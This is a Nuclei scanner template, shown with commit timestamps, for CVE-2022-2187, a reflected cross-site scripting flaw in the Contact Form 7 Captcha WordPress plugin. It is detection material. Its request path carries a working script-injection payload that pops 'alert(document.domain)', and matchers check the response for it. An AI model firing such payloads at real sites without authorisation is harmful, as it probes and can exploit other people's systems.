nuclei-templates/cves/2022/CVE-2022-2187.yaml

37 lines
1.1 KiB
YAML
Raw Normal View History

2022-07-17 16:48:55 +00:00
id: CVE-2022-2187
info:
name: Contact Form 7 Captcha < 0.1.2 - Reflected Cross-Site Scripting
author: For3stCo1d
severity: medium
description: |
The Contact Form 7 Captcha WordPress plugin before 0.1.2 does not escape the $_SERVER['REQUEST_URI'] parameter before outputting it back in an attribute, which could lead to Reflected Cross-Site Scripting in old web browsers
reference:
- https://wpscan.com/vulnerability/4fd2f1ef-39c6-4425-8b4d-1a332dabac8d
2022-07-18 07:07:50 +00:00
- https://wordpress.org/plugins/contact-form-7-simple-recaptcha
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2187
tags: cve,cve2022,wordpress,xss,wp-plugin,wp
2022-07-17 16:48:55 +00:00
requests:
- method: GET
path:
2022-07-18 07:07:50 +00:00
- '{{BaseURL}}/wp-admin/options-general.php?page=cf7sr_edit&"></script><script>alert(document.domain)</script>'
2022-07-17 16:48:55 +00:00
matchers-condition: and
matchers:
- type: word
part: body
2022-07-18 07:07:50 +00:00
words:
- "</script><script>alert(document.domain)</script>"
- "Contact Form 7"
condition: and
2022-07-17 16:48:55 +00:00
- type: word
part: header
words:
- text/html
- type: status
status:
- 200